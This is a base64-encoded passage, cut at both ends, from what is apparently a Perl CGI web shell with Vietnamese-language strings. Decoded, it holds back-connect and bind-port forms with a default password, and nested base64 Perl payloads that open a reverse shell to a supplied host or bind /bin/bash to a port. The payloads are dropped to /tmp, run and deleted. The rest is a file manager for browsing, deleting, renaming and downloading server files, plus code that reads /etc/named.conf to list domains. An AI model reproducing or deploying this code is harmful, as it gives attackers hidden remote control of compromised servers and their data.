JHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQmFja2Nvbm5lY3QgRm9ybQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kRm9ybQ0Kew0KICAgcmV0dXJuIDw8RU5EOw0KICAgPGJyPjxicj4NCg0KICAgPHRhYmxlPg0KICAgPHRyPg0KICAgPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQogICA8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCiAgIDx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQogICAgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPg0KDQogICA8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD4NCiAgIDwvZm9ybT4NCiAgIDwvdHI+DQogICA8dHI+DQogICA8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCiAgIDxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4NCiAgIDxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1wIDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCiAgIDwvdHI+DQogICA8L3RhYmxlPg0KDQogICA8YnI+PGJyPg0KICAgPHRhYmxlPg0KICAgPHRyPg0KICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQogICA8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCiAgIDx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4NCg0KICAgIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPg0KICAgPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQogICA8L2Zvcm0+DQogICA8L3RyPg0KICAgPHRyPg0KICAgPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQ0KICAgPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KICAgPC90cj4NCiAgIDwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCiAgIHVzZSBNSU1FOjpCYXNlNjQ7DQogICB1c2UgU29ja2V0OyAgIA0KICAgJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOw0KICAgJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KICAgJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsNCiAgICRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsNCiAgIGlmKCRDbGllbnRQb3J0IGVxIDApDQogICB7DQogICAgICByZXR1cm4gJkJhY2tCaW5kRm9ybTsNCiAgIH1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpDQogICB7DQogICAgICAkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7DQogICAgICBpZigtdyAiL3RtcC8iKQ0KICAgICAgew0KICAgICAgICAgJEZpbGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOyAgIA0KICAgICAgfWVsc2UNCiAgICAgIHsNCiAgICAgICAgICRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7DQogICAgICB9DQogICAgICBvcGVuKEZJTEUsICI+JEZpbGUiKTsNCiAgICAgIHByaW50IEZJTEUgJERhdGE7DQogICAgICBjbG9zZSBGSUxFOw0KICAgICAgc3lzdGVtKCJwZXJsIGJhY2tjb25uZWN0LnBsICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7DQogICAgICB1bmxpbmsoJEZpbGUpOw0KICAgICAgZXhpdCAwOw0KICAgfWVsc2UNCiAgIHsNCiAgICAgICREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsNCiAgICAgIGlmKC13ICIvdG1wIikNCiAgICAgIHsNCiAgICAgICAgICRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsgICANCiAgICAgIH1lbHNlDQogICAgICB7DQogICAgICAgICAkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOw0KICAgICAgfQ0KICAgICAgb3BlbihGSUxFLCAiPiRGaWxlIik7DQogICAgICBwcmludCBGSUxFICREYXRhOw0KICAgICAgY2xvc2UgRklMRTsNCiAgICAgIHN5c3RlbSgicGVybCBiaW5kcG9ydC5wbCAkQ2xpZW50UG9ydCIpOw0KICAgICAgdW5saW5rKCRGaWxlKTsNCiAgICAgIGV4aXQgMDsNCiAgIH0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUm1EaXIoJCkgDQp7DQogICBteSAkZGlyID0gc2hpZnQ7DQogICAgaWYob3BlbmRpcihESVIsJGRpcikpDQogICB7DQogICAgICB3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCiAgICAgIHsNCiAgICAgICAgIGlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkNCiAgICAgICAgIHsNCiAgICAgICAgICAgICRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOw0KICAgICAgICAgICAgaWYoLWQgJGZpbGUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAmUm1EaXIoJGZpbGUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgdW5saW5rKCRmaWxlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKERJUik7DQogICB9DQogICBpZighcm1kaXIoJGRpcikpDQogICB7DQogICAgICANCiAgIH0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCiAgIG15ICRmaWxlID0gc2hpZnQ7DQogICBpZigtZSAkZmlsZSkNCiAgIHsNCiAgICAgICgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KICAgICAgaWYoJFdpbk5UKQ0KICAgICAgew0KICAgICAgICAgcmV0dXJuICI/Pz8iOw0KICAgICAgfQ0KICAgICAgZWxzZQ0KICAgICAgew0KICAgICAgICAgJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQogICAgICAgICAkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQogICAgICAgICByZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCiAgICAgIH0NCiAgIH0NCiAgIHJldHVybiAiPz8/IjsNCn0NCnN1YiBQYXJlbnRGb2xkZXIoJCkNCnsNCiAgIG15ICRwYXRoID0gc2hpZnQ7DQogICBteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQogICBjaG9wKCRwYXRoID0gYCRDb21tYCk7DQogICByZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQogICBteSAkZmlsZSA9IHNoaWZ0Ow0KICAgbXkgJHVyID0gIi0iOw0KICAgbXkgJHV3ID0gIi0iOw0KICAgaWYoLWUgJGZpbGUpDQogICB7DQogICAgICBpZigkV2luTlQpDQogICAgICB7DQogICAgICAgICBpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KICAgICAgICAgaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCiAgICAgICAgIHJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCiAgICAgIH1lbHNlDQogICAgICB7DQogICAgICAgICAkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KICAgICAgICAgJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCiAgICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgICAgfQ0KICAgfQ0KICAgcmV0dXJuICIwMDAwIjsNCn0NCnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpDQp7DQogICBteSAkZmlsZSA9IHNoaWZ0Ow0KICAgaWYoLWUgJGZpbGUpDQogICB7DQogICAgICAoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQogICAgICAoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KICAgICAgJHkgPSAkeSArIDE5MDA7DQogICAgICBAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQogICAgICAkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCiAgICAgIHJldHVybiAkbG10aW1lOw0KICAgfQ0KICAgcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQogICBteSAkZmlsZSA9IHNoaWZ0Ow0KICAgaWYoLWYgJGZpbGUpDQogICB7DQogICAgICByZXR1cm4gLXMgJGZpbGU7DQogICB9DQogICByZXR1cm4gIjAiOw0KDQp9DQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQ0Kew0KICAgbXkgJHNpemUgPSBzaGlmdDsNCiAgIGlmKCRzaXplIDw9IDEwMjQpDQogICB7DQogICAgICByZXR1cm4gJHNpemUuICIgQiI7DQogICB9DQogICBlbHNlDQogICB7DQogICAgICBpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KICAgICAgew0KICAgICAgICAgJHNpemUgPSBzcHJpbnRmKCIlLjAyZiIsJHNpemUgLyAxMDI0KTsNCiAgICAgICAgIHJldHVybiAkc2l6ZS4iIEtCIjsNCiAgICAgIH0NCiAgICAgIGVsc2UgDQogICAgICB7DQogICAgICAgICAkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOw0KICAgICAgICAgcmV0dXJuICRzaXplLiIgTUIiOw0KICAgICAgfQ0KICAgfQ0KfQ0Kc3ViIHRyaW0oJCkNCnsNCiAgIG15ICRzdHJpbmcgPSBzaGlmdDsNCiAgICRzdHJpbmcgPX4gcy9eXHMrLy87DQogICAkc3RyaW5nID1+IHMvXHMrJC8vOw0KICAgcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KICAgbXkgJHN0cmluZyA9IHNoaWZ0Ow0KICAgJHN0cmluZz1+IHMvXFwvXFxcXC9nOw0KICAgcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KICAgbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsNCiAgICRwYXRoPX4gcy9cXFxcL1xcL2c7DQogICBteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCiAgIGlmKC1kICRwYXRoKQ0KICAgew0KICAgICAgbXkgQGZuYW1lID0gKCk7DQogICAgICBteSBAZG5hbWUgPSAoKTsNCiAgICAgIGlmKG9wZW5kaXIoRElSLCRwYXRoKSkNCiAgICAgIHsNCiAgICAgICAgIHdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KICAgICAgICAgew0KICAgICAgICAgICAgJGY9JHBhdGguJGZpbGU7DQogICAgICAgICAgICBpZigtZCAkZikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgIHB1c2goQGRuYW1lLCRmaWxlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgIHB1c2goQGZuYW1lLCRmaWxlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgIH0NCiAgICAgICAgIGNsb3NlZGlyKERJUik7DQogICAgICB9DQogICAgICBAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQogICAgICBAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQogICAgICAkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+DQoNCiAgICAgIDx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQogICAgICA8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCiAgICAgIDx0aCBzdHlsZT0nd2lkdGg6MTUwcHg7Jz5Pd25lcjwvdGg+DQogICAgICA8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+UGVybWlzc2lvbjwvdGg+DQogICAgICA8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQogICAgICA8dGggc3R5bGU9J3dpZHRoOjI2MHB4Oyc+QWN0aW9uPC90aD48L3RyPiI7DQogICAgICBteSAkc3R5bGU9ImxpbmUiOw0KICAgICAgbXkgJGk9MDsNCiAgICAgIGZvcmVhY2ggbXkgJGQgKEBkbmFtZSkNCiAgICAgIHsNCiAgICAgICAgICRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQogICAgICAgICAkZCA9ICZ0cmltKCRkKTsNCiAgICAgICAgICRkaXJuYW1lPSRkOw0KICAgICAgICAgaWYoJGQgZXEgIi4uIikgDQogICAgICAgICB7DQogICAgICAgICAgICAkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOw0KICAgICAgICAgfQ0KICAgICAgICAgZWxzaWYoJGQgZXEgIi4iKSANCiAgICAgICAgIHsNCiAgICAgICAgICAgICRkID0gJHBhdGg7DQogICAgICAgICB9DQogICAgICAgICBlbHNlIA0KICAgICAgICAgew0KICAgICAgICAgICAgJGQgPSAkcGF0aC4kZDsNCiAgICAgICAgIH0NCiAgICAgICAgICRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz4NCg0KICAgICAgICAgPHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPjxhICBocmVmPSc/YT1ndWkmZD0iLiRkLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KICAgICAgICAgJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCiAgICAgICAgICRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQogICAgICAgICAkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCiAgICAgICAgICRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KICAgICAgICAgJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KICAgICAgICAgJHJlc3VsdCAuPSAiPC90cj4iOw0KICAgICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICAgIGZvcmVhY2ggbXkgJGYgKEBmbmFtZSkNCiAgICAgIHsNCiAgICAgICAgICRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQogICAgICAgICAkZmlsZT0kZjsNCiAgICAgICAgICRmID0gJHBhdGguJGY7DQogICAgICAgICAkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQogICAgICAgICAkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQogICAgICAgICAkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KICAgICAgICAgJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCiAgICAgICAgICRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCiAgICAgICAgICRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KICAgICAgICAgJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQogICAgICAgICAkcmVzdWx0IC49ICI8L3RyPiI7DQogICAgICAgICAkaSsrOw0KICAgICAgfQ0KICAgICAgJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOw0KICAgfQ0KICAgcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQogICBvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOw0KICAgbXkgQGNuenMgPSA8ZG9tYWlucz47DQogICBjbG9zZSBkMG1haW5zOw0KICAgbXkgJHN0eWxlPSJsaW5lIjsNCiAgIG15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KICAgaWYgKCRlcnIpDQogICB7DQogICAgICAkcmVzdWx0IC49ICAoJzx